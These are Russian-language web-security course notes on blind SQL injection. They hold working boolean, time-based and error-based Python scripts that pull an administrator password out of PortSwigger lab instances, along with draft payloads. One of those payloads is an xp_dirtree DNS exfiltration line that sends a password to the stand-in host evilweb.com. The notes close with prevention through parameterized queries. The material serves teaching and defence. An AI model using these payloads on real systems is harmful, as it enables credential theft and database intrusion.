# Занятие 3. SQL injection. ###### tags: `Intro to Web Security` #### Материалы и описание для самостоятельного изучения: - язык SQL - [Что такое SQL и как он работает](https://gb.ru/posts/chto-takoe-sql-i-kak-on-rabotaet) - [w3schools](https://www.w3schools.com/sql/default.asp) - [sql-ex](https://sql-ex.ru) - инъекции SQL - [PortSwigger academy](https://portswigger.net/web-security/sql-injection) - [sqlinjection.net](https://www.sqlinjection.net/tutorial/) - [hacksplaining.com](https://www.hacksplaining.com/lessons) ## Слепые SQL инъекции На прошлом занятии, мы не успели пройти все инъекции. Потому продолжаем. > К сожалению, на видеозаписи нет звука Но, посмотрев, вы могли заметить, что мы писали несколько скриптов. Прикладываем их здесь. ### черновик ``` select * from users where trackingId='awhfdajhwgd' and '1'='1' ' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='y and 'h'='h' password username nh4ar0qfmdbfw3vo5zc8 administrator => nh4ar0qfmdbfw3vo5zc8 => h case when '1'='1' then 1/0 else 'a'='a' if '1'='1': sefhasih else ewifaoiw case when '1'='1' then sleep(5) else 'a'='a' cJRWfkGzqanDtDr7'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END-- cJRWfkGzqanDtDr7'%3BSELECT+CASE+WHEN+(username='administrator'+and+substring(password,1,1)='a')+THEN+pg_sleep(5)+ELSE+pg_sleep(0)+END+from+users-- '||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||' evilweb.com //evilweb.com/a @pass exec master..xp_dirtree '//evilweb.com/' ------------------------------------------------ goodsite.com username password administrator SuperStrongPassword123! user Password select * from users where trackingId='awhfdajhwgd'; declare @pass varchar(1024); set @pass=(select password from users where username='adminstrator'); exec('master..xp_dirtree "//'+@pass+'.evilweb.com/"')-- test123.evilweb.com test123 a.evilweb.com @pass = SuperStrongPassword123! Password //Password.evilweb.com/ '; declare @pass varchar(1024); set @pass=(select password from users where username='user'); exec('master..xp_dirtree "//'+@pass+'.evilweb.com/"')-- //SuperStrongPassword123!.evilweb.com/ //Password.evilweb.com/ "'1=1" $username = $_POST['username'] $username = addslashes($username) ``` ### brute ```python= import requests,sys chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM" pas = '' for i in range(1,21): for char in chars: cookies = {'TrackingId': "WN74gPYydp0eSDK2' AND (SELECT SUBSTRING(password," + str(i) +",1) FROM users WHERE username='administrator')='" + char, "session": "dNA97xZkHsWy9jEtaFf48U0zrIGU5BYG"} r = requests.get("https://ac4f1f3b1fdc4964c0a60d2500ca00c0.web-security-academy.net/filter?category=Pets", cookies=cookies) sys.stdout.write("\r> Trying %s..." %char) sys.stdout.flush() if "Welcome" in r.text: sys.stdout.write("\r[+] Found: " + char) sys.stdout.flush() print(" ") pas+=char break print("") print("[+] Password is " + pas) ``` ### brute time ```python= import requests,sys chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM" pas = '' for i in range(1,21): for char in chars: cookies = {'TrackingId': "cJRWfkGzqanDtDr7'%3BSELECT+CASE+WHEN+(username='administrator'+and+substring(password," + str(i) + ",1)='" + char + "')+THEN+pg_sleep(2)+ELSE+pg_sleep(0)+END+from+users--", "session": "zKwQy9Pt2NoBt4I61WychwWs2XGdSO8O"} sys.stdout.write("\r> Trying %s..." %char) sys.stdout.flush() r = requests.get("https://acec1f1d1f16c819c11416c300030021.web-security-academy.net/", cookies=cookies) if r.elapsed.seconds >= 1: sys.stdout.write("\r[+] Found: " + char) sys.stdout.flush() print(" ") pas+=char break print("") print("[+] Password is " + pas) ``` ### brute errors ```python= import requests,sys chars = "qwertyuiopasdfghjklzxcvbnm1234567890QWERTYUIOPASDFGHJKLZXCVBNM" pas = '' for i in range(1,21): for char in chars: cookies = {'TrackingId': "EGlGceA0eSqwHGUd'||(SELECT CASE WHEN (substr(password," + str(i) + ",1) ='" + char + "') THEN TO_CHAR(1/0) ELSE '' END FROM users where username='administrator')||'", a "session": "k0mtXPXAMjk1iOsvGOsTmPnCZ0REoN4l"} #print(cookies['TrackingId']) r = requests.get("https://ac5f1f961e1de095c0ac0d1800c3008c.web-security-academy.net/", cookies=cookies) sys.stdout.write("\r> Trying %s..." %char) sys.stdout.flush() if "Internal" in r.text: sys.stdout.write("\r[+] Found: " + char) sys.stdout.flush() print(" ") pas+=char break print("") print("[+] Password is " + pas) ``` Продолжим слайдами со второго занятия ## Использование слепой инъекции SQL с использованием out-of-band (OAST) Теперь предположим, что приложение выполняет один и тот же SQL-запрос, но делает это асинхронно. Приложение продолжает обработку запроса пользователя в исходном потоке и использует другой поток для выполнения SQL-запроса с использованием отслеживания cookie. Запрос по-прежнему уязвим для внедрения SQL, однако ни один из методов, описанных до сих пор, не будет работать: ответ приложения не зависит от того, возвращает ли запрос какие-либо данные, или от того, возникает ли ошибка базы данных, или от времени, затраченного на выполнение запроса. В этой ситуации часто можно воспользоваться уязвимостью слепой инъекции SQL, запустив out-of-band сетевое взаимодействие с системой, которой вы управляете. Как и ранее, они могут запускаться условно, в зависимости от введенного условия, для вывода информации по одному биту за раз. Но что еще более важно, данные могут быть эксфильтрированы непосредственно в рамках самого сетевого взаимодействия. Для этой цели можно использовать различные сетевые протоколы, но, как правило, наиболее эффективным является DNS (служба доменных имен). Это связано с тем, что очень многие производственные сети допускают свободный выход DNS-запросов, поскольку они необходимы для нормальной работы производственных систем. ![](https://i.imgur.com/XT2MZba.png) ## Как предотвратить слепые атаки SQL-инъекций? Хотя методы, необходимые для поиска и использования уязвимостей слепой инъекции SQL, отличаются и более сложны, чем для обычной инъекции SQL, меры, необходимые для предотвращения инъекции SQL, одинаковы независимо от того, является ли уязвимость слепой или нет. Как и в случае обычной SQL-инъекции, слепые атаки SQL-инъекции можно предотвратить за счет тщательного использования параметризованных запросов, которые гарантируют, что вводимые пользователем данные не могут повлиять на структуру предполагаемого SQL-запроса. ![](https://i.imgur.com/hMwRBIc.png) ## Как предотвратить внедрение SQL Большинство случаев внедрения SQL можно предотвратить, используя параметризованные запросы (также известные как подготовленные операторы) вместо объединения строк в запросе. Следующий код уязвим для внедрения SQL, поскольку вводимые пользователем данные объединяются непосредственно в запрос: `String query = "SELECT * FROM products WHERE category = '"+ input + "'";` `Statement statement = connection.createStatement();` `ResultSet resultSet = statement.executeQuery(query);` Этот код можно легко переписать таким образом, чтобы пользовательский ввод не мешал структуре запроса: `PreparedStatement statement = connection.prepareStatement("SELECT * FROM products WHERE category = ?");` `statement.setString(1, input);` `ResultSet resultSet = statement.executeQuery();` ![](https://i.imgur.com/TRrIxxj.png) ## Вывод Чтобы параметризованный запрос эффективно предотвращал внедрение SQL, строка, используемая в запросе, всегда должна быть жестко запрограммированной константой и никогда не должна содержать никаких переменных данных из любого источника. Слишком легко ошибиться в отношении возможного происхождения данных или внести изменения в другой код, чтобы нарушить предположения о том, какие данные испорчены. ![](https://i.imgur.com/6ppVAmb.png)